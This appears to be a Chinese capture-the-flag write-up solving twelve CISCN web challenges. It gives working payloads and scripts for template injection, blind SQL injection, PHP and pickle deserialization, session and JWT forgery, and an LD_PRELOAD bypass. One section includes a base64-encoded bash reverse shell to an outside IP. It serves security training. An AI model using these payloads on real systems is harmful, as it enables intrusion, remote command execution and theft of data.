【Web】纯萌新的CISCN刷题记录(1)

目录

[[CISCN 2019华东南]Web11](#[CISCN 2019华东南]Web11)

[[CISCN 2019华北Day2]Web1](#[CISCN 2019华北Day2]Web1)

[[CISCN 2019初赛]Love Math](#[CISCN 2019初赛]Love Math)

[[CISCN 2022 初赛]ezpop](#[CISCN 2022 初赛]ezpop)

[[CISCN 2019华东南]Double Secret](#[CISCN 2019华东南]Double Secret)

[[CISCN 2023 华北]ez_date](#[CISCN 2023 华北]ez_date)

[[CISCN 2019华北Day1]Web1](#[CISCN 2019华北Day1]Web1)

[[CISCN 2019华东南]Web4](#[CISCN 2019华东南]Web4)

[[CISCN 2019华北Day1]Web2](#[CISCN 2019华北Day1]Web2)

[[CISCN 2023 西南]do_you_like_read](#[CISCN 2023 西南]do_you_like_read)

[[CISCN 2023 华北]pysym](#[CISCN 2023 华北]pysym)

[[CISCN 2023 初赛]DeserBug](#[CISCN 2023 初赛]DeserBug)


主打一个精简

[CISCN 2019华东南]Web11

XFF处有Smarty模板注入

payload:

复制代码
X-Forwarded-For: {if system('tac /flag')}{/if}

[CISCN 2019华北Day2]Web1

if(1=1,sleep(5),1) 测出可以时间盲注

脚本

复制代码
import requests

url = 'http://node4.anna.nssctf.cn:28396/index.php'
res = ""

for i in range(1, 48, 1):
    for j in range(32, 128, 1):
        # payload = f'if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))>{j},sleep(0.5),0)#'
        # payload = f"if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),{i},1))>{j},sleep(0.5),0)#"
        payload = f"if(ascii(substr((select(flag)from(flag)),{i},1))>{j},sleep(1),0)"
        data = {
            'id': payload
        }
        try:
            r = requests.post(url=url, data=data,timeout=0.5)
        except Exception as e:
            continue

        res += chr(j)
        print(res)
        break

[CISCN 2019初赛]Love Math

这个waf只要不是纯数字,就会被认为是函数丢给白名单检测

目标构造

复制代码
?c=($_GET[pi])($_GET[abs])&pi=system&abs=cat /flag

\]可以用{}来替代 _GET=hex2bin(5f474554) 5f474554因为含一个f,所以要如下构造 5f474554=dechex(1598506324) hex2bin可以用36进制来构造(从0-x共35个字符,用36进制) base_convert()函数将10进制数转化为36进制的hex2bin ![](https://file.jishuzhan.net/article/1777265091599667202/15fb2c36cd7ec793daefa840159711b5.webp) `hex2bin`=`base_convert(37907361743,10,36)` payload: ?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){cos})&pi=system&cos=cat /flag ![](https://file.jishuzhan.net/article/1777265091599667202/d2d09cd0fea0afde69ea3903d9bdc115.webp) ## \[CISCN 2022 初赛\]ezpop 参考文章:[ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户](https://www.freebuf.com/vuls/321546.html "ThinkPHP6.0.12LTS反序列漏洞分析 - FreeBuf网络安全行业门户") 访问/www.zip拿到源码 找到反序列化入口为/index.php/index/index ![](https://file.jishuzhan.net/article/1777265091599667202/bfdf6c5182e50ddce8066d8437c163f2.webp) exp lazySave = True; $this->data = ['whoami' => ['cat /nssctfflag']]; $this->exists = True; $this->table = $obj; $this->withAttr = ['whoami' => ['system']]; $this->json = ['whoami',['whoami']]; $this->jsonAssoc = True; } } } namespace think\model{ use think\Model; class Pivot extends Model{ } } ![](https://file.jishuzhan.net/article/1777265091599667202/ddd290a213f5c785dedb6afa0c4a2b35.webp) ## \[CISCN 2019华东南\]Double Secret ![](https://file.jishuzhan.net/article/1777265091599667202/1ffd8a1cfb7870d7be2553e3aa76b334.webp) 访问/robots.txt ![](https://file.jishuzhan.net/article/1777265091599667202/a75465c420bf7eb1c45c3bed779a8aa3.webp) 访问/secret,让传参secret ![](https://file.jishuzhan.net/article/1777265091599667202/34ac3a1efa7f69c508150f5ea79ecf45.webp) 随便传参报错,点开标记点![](https://file.jishuzhan.net/article/1777265091599667202/fac78fb78af98dd69c482af1b19299bb.webp) RC4解密,密钥是"HereIsTreasure",可以利用flask的模板注入,执行命令,只不过先需要进行RC4加密。 RC4加密脚本 import base64 from urllib import parse def rc4_main(key="init_key", message="init_message"): # 返回加密后得内容 s_box = rc4_init_sbox(key) crypt = str(rc4_excrypt(message, s_box)) return crypt def rc4_init_sbox(key): s_box = list(range(256)) j = 0 for i in range(256): j = (j + s_box[i] + ord(key[i % len(key)])) % 256 s_box[i], s_box[j] = s_box[j], s_box[i] return s_box def rc4_excrypt(plain, box): res = [] i = j = 0 for s in plain: i = (i + 1) % 256 j = (j + box[i]) % 256 box[i], box[j] = box[j], box[i] t = (box[i] + box[j]) % 256 k = box[t] res.append(chr(ord(s) ^ k)) cipher = "".join(res) return (str(base64.b64encode(cipher.encode('utf-8')), 'utf-8')) key = "HereIsTreasure" # 此处为密文 message = input("请输入明文:\n") enc_base64 = rc4_main(key, message) enc_init = str(base64.b64decode(enc_base64), 'utf-8') enc_url = parse.quote(enc_init) print("rc4加密后的url编码:" + enc_url) # print("rc4加密后的base64编码"+enc_base64) 注入payload: {{x.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /f*').read()")}} ![](https://file.jishuzhan.net/article/1777265091599667202/f02952868be8abe80264e54e0d70a6f8.webp) ![](https://file.jishuzhan.net/article/1777265091599667202/58ecfac911b0059fc7ce2b3f7f602017.webp) ## \[CISCN 2023 华北\]ez_date ![](https://file.jishuzhan.net/article/1777265091599667202/b55a2bb9c4b907f6716d6f5ca3dbb376.webp) 关于md5和sha1强相等 a=1; $a->b='1'; $a->file='/f\l\a\g'; echo base64_encode(serialize($a)); ?> payload: ?code=Tzo0OiJkYXRlIjozOntzOjE6ImEiO2k6MTtzOjE6ImIiO3M6MToiMSI7czo0OiJmaWxlIjtzOjg6Ii9mXGxcYVxnIjt9 ## ![](https://file.jishuzhan.net/article/1777265091599667202/2a21c78cb78f88ccc056313611bc41fe.webp) ## \[CISCN 2019华北Day1\]Web1 ![](https://file.jishuzhan.net/article/1777265091599667202/6baf5f7d7572bcfbb41b0b40a7b59ca1.webp) 随便注册一个账号登录进去 ![](https://file.jishuzhan.net/article/1777265091599667202/c7a34cf91c135485fc05e5d6e7ac6171.webp) 在download.php可以下载各种文件源码进行审计 生成恶意phar包并改后缀上传 db = new FileList(); } } class File{ public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = '/flag.txt'; $this->files = array($file); } } $User = new User(); $phar = new Phar("exp.phar"); //生成phar文件 $phar->startBuffering(); $phar->setStub('GIF89a'.''); $phar->setMetadata($User); //触发类 $phar->addFromString("text.txt", "test"); //签名 $phar->stopBuffering(); ?> 在delete.php抓包post传参,unlink触发phar反序列化 filename=phar://exp.png ![](https://file.jishuzhan.net/article/1777265091599667202/41dc001b0ec8c7bd1872fed5305c9dd2.webp) ## \[CISCN 2019华东南\]Web4 抓包看响应头,是python框架 ![](https://file.jishuzhan.net/article/1777265091599667202/878b9a1b5fda80f38b8db2178cb77b7d.webp) /read?url=/app/app.py 拿到源码 一眼session伪造 import re, random, uuid, urllib from flask import Flask, session, request app = Flask(__name__) random.seed(uuid.getnode()) app.config['SECRET_KEY'] = str(random.random()*233) app.debug = True @app.route('/') def index(): session['username'] = 'www-data' return 'Hello World! Read somethings' @app.route('/read') def read(): try: url = request.args.get('url') m = re.findall('^file.*', url, re.IGNORECASE) n = re.findall('flag', url, re.IGNORECASE) if m or n: return 'No Hack' res = urllib.urlopen(url) return res.read() except Exception as ex: print str(ex) return 'no response' @app.route('/flag') def flag(): if session and session['username'] == 'fuck': return open('/flag.txt').read() else: return 'Access denied' if __name__=='__main__': app.run( debug=True, host="0.0.0.0" ) 现有的session拿去jwt解密,内容base64解码就是www-data,我们只要找到secret-key就可了 ![](https://file.jishuzhan.net/article/1777265091599667202/4d7490fac69de8c1f0e4612846dd30ff.webp) python random生成的数是伪随机数,利用伪随机数的特性,只要种子是一样的,后面产生的随机数值也是一样的 uuid.getnode(),是网卡mac地址的十进制数,那我们就要知道网卡的mac地址,读取/sys/class/net/eth0/address ![](https://file.jishuzhan.net/article/1777265091599667202/717d41bf3ab3480f8225cf5390bacd87.webp) 16进制转10进制:2485376933288 import random random.seed(2485376933288) randStr = str(random.random() * 233) print randStr ![](https://file.jishuzhan.net/article/1777265091599667202/fd9580932026c180a9930f679ebff80e.webp) ![](https://file.jishuzhan.net/article/1777265091599667202/e4cb495e75bfa57ec97d4a47f1807622.webp)修改session拿到flag ![](https://file.jishuzhan.net/article/1777265091599667202/f3ca2c30b71e0e61fd832910e021ed94.webp) ## \[CISCN 2019华北Day1\]Web2 题目要买到lv6的账号 ![](https://file.jishuzhan.net/article/1777265091599667202/fa1449d9e70206760d94618909b45e49.webp) 脚本开爆 import requests import time for i in range(1,200): time.sleep(0.8) print(i) url = 'http://node4.anna.nssctf.cn:28867/shop?page={}'.format(i) r = requests.get(url) if 'lv6.png' in r.text: print("找到lv6-----{}".format(i)) break ![](https://file.jishuzhan.net/article/1777265091599667202/b20694845e20db5665d42345f2d26206.webp) ![](https://file.jishuzhan.net/article/1777265091599667202/202b429244f9d66ceb0760d7dc41580c.webp) 购买需要账号 ![](https://file.jishuzhan.net/article/1777265091599667202/30a2e97be9c5260e6c16cffb5920b8d6.webp)随便注册个账号,发现钱不够,买不起![](https://file.jishuzhan.net/article/1777265091599667202/01f91cb64dd10464828e0341c52c48ac.webp) 但discount可以修改,回显/b1g_m4mber路由 ![](https://file.jishuzhan.net/article/1777265091599667202/48c2185d5e02cd2100f96093956a61cf.webp) 访问显示要admin ![](https://file.jishuzhan.net/article/1777265091599667202/dede7f4a640089b86ee8108d49c4c955.webp) 垂直越权,爆jwt的secret_key ![](https://file.jishuzhan.net/article/1777265091599667202/e2603160a09c9b056f43feaa8a8a2da9.webp) 改username为admin,伪造jwt ![](https://file.jishuzhan.net/article/1777265091599667202/25fde509bbaf80bad507cc608d15e7d6.webp) 拿着修改后的jwt访问/b1g_m4mber ![](https://file.jishuzhan.net/article/1777265091599667202/16cf1829f6d310d39dee8e45960701f3.webp) 右键查看源码拿到www.zip ![](https://file.jishuzhan.net/article/1777265091599667202/8adee0ede333792243088e40ac12e2d6.webp) 关注Admin.py,可以打pickle反序列化 import tornado.web from sshop.base import BaseHandler import pickle import urllib class AdminHandler(BaseHandler): @tornado.web.authenticated def get(self, *args, **kwargs): if self.current_user == "admin": return self.render('form.html', res='This is Black Technology!', member=0) else: return self.render('no_ass.html') @tornado.web.authenticated def post(self, *args, **kwargs): try: become = self.get_argument('become') p = pickle.loads(urllib.unquote(become)) return self.render('form.html', res=p, member=1) except: return self.render('form.html', res='This is Black Technology!', member=0) python2环境下运行这段脚本 import pickle import urllib class test(object): def __reduce__(self): return (eval, ("open('/flag.txt', 'r').read()",)) a = test() s = pickle.dumps(a) print(urllib.quote(s)) ![](https://file.jishuzhan.net/article/1777265091599667202/a53d01f87b349a74783c212490436409.webp) ## \[CISCN 2023 西南\]do_you_like_read 拿到附件拖进Seay扫一下 ![](https://file.jishuzhan.net/article/1777265091599667202/a5d9aa0d66fb9afd1f32f1adf3948d7d.webp) 注意到/bootstrap/test/bypass_disablefunc.php example: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so

"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "

cmdline: " . $evil_cmdline . "

"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("", "", "", ""); echo "

output:
" . nl2br(file_get_contents($out_path)) . "

"; unlink($out_path); ?> 同目录下有可利用的so文件 ![](https://file.jishuzhan.net/article/1777265091599667202/d8847ecce88011aa776007a6ff87cf85.webp) payload: /bootstrap/test/bypass_disablefunc.php?cmd=env&outpath=/tmp/xx&sopath=/app/bootstrap/test/bypass_disablefunc_x64.so ![](https://file.jishuzhan.net/article/1777265091599667202/6217fbf3268b87550f64e7c56ca49abf.webp) ## \[CISCN 2023 华北\]pysym 题目提示无软链接 ![](https://file.jishuzhan.net/article/1777265091599667202/619f1eea098b81b59862f6d89998a000.webp) 附件给到源码 from flask import Flask, render_template, request, send_from_directory import os import random import string app = Flask(__name__) app.config['UPLOAD_FOLDER']='uploads' @app.route('/', methods=['GET']) def index(): return render_template('index.html') @app.route('/',methods=['POST']) def POST(): if 'file' not in request.files: return 'No file uploaded.' file = request.files['file'] if file.content_length > 10240: return 'file too lager' path = ''.join(random.choices(string.hexdigits, k=16)) directory = os.path.join(app.config['UPLOAD_FOLDER'], path) os.makedirs(directory, mode=0o755, exist_ok=True) savepath=os.path.join(directory, file.filename) file.save(savepath) try: os.system('tar --absolute-names -xvf {} -C {}'.format(savepath,directory)) except: return 'something wrong in extracting' links = [] for root, dirs, files in os.walk(directory): for name in files: extractedfile =os.path.join(root, name) if os.path.islink(extractedfile): os.remove(extractedfile) return 'no symlink' if os.path.isdir(path) : return 'no directory' links.append(extractedfile) return render_template('index.html',links=links) @app.route("/uploads/",methods=['GET']) def download(path): filepath = os.path.join(app.config['UPLOAD_FOLDER'], path) if not os.path.isfile(filepath): return '404', 404 return send_from_directory(app.config['UPLOAD_FOLDER'], path) if __name__ == '__main__': app.run(host='0.0.0.0',port=1337) 对文件名无过滤,可以直接命令拼接 payload: exp.tar;echo YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMjQuMjIyLjEzNi4zMy8xMzM3IDA+JjEn | base64 -d | bash; ![](https://file.jishuzhan.net/article/1777265091599667202/e32ec9010e0eacc78dfe2c747e679f18.webp) 成功反弹shell,拿到flag ![](https://file.jishuzhan.net/article/1777265091599667202/834f28fd9d368f347a09c19a0788abf2.webp) ## \[CISCN 2023 初赛\]DeserBug [【Web】记录CISCN2023国赛初赛DeserBug题目复现_deserbug ctf-CSDN博客](https://z3r4y.blog.csdn.net/article/details/136748656 "【Web】记录CISCN2023国赛初赛DeserBug题目复现_deserbug ctf-CSDN博客")

相关推荐
LcVong6 小时前
一篇文章学会开发第一个ASP.NET网页
后端·c#·asp.net·web
90后小陈老师11 小时前
WebXR教学 05 项目3 太空飞船小游戏
windows·3d·web·js
zizisuo1 天前
JAVA:Web安全防御
java·web
艾露z6 天前
Vert.x学习(五)—— SockJS,搭建客户端,与后端服务器进行通信
java·前端·后端·学习·web
视力5.2的眼镜猴7 天前
CTF--好像需要管理员
web
uwvwko7 天前
ctfshow——web入门191~194
前端·数据库·mysql·安全·ctf
梦想不只是梦与想7 天前
鸿蒙系统开发状态更新字段区别对比
android·java·flutter·web·鸿蒙
Huazzi.8 天前
【Caddy】:现代化、自动 HTTPS 的 Web 服务器新星
服务器·前端·https·web
视力5.2的眼镜猴8 天前
CTF--shell
web
wslsnyn9 天前
Web前端开发——图像与多媒体文件(上)
开发语言·前端·javascript·html·web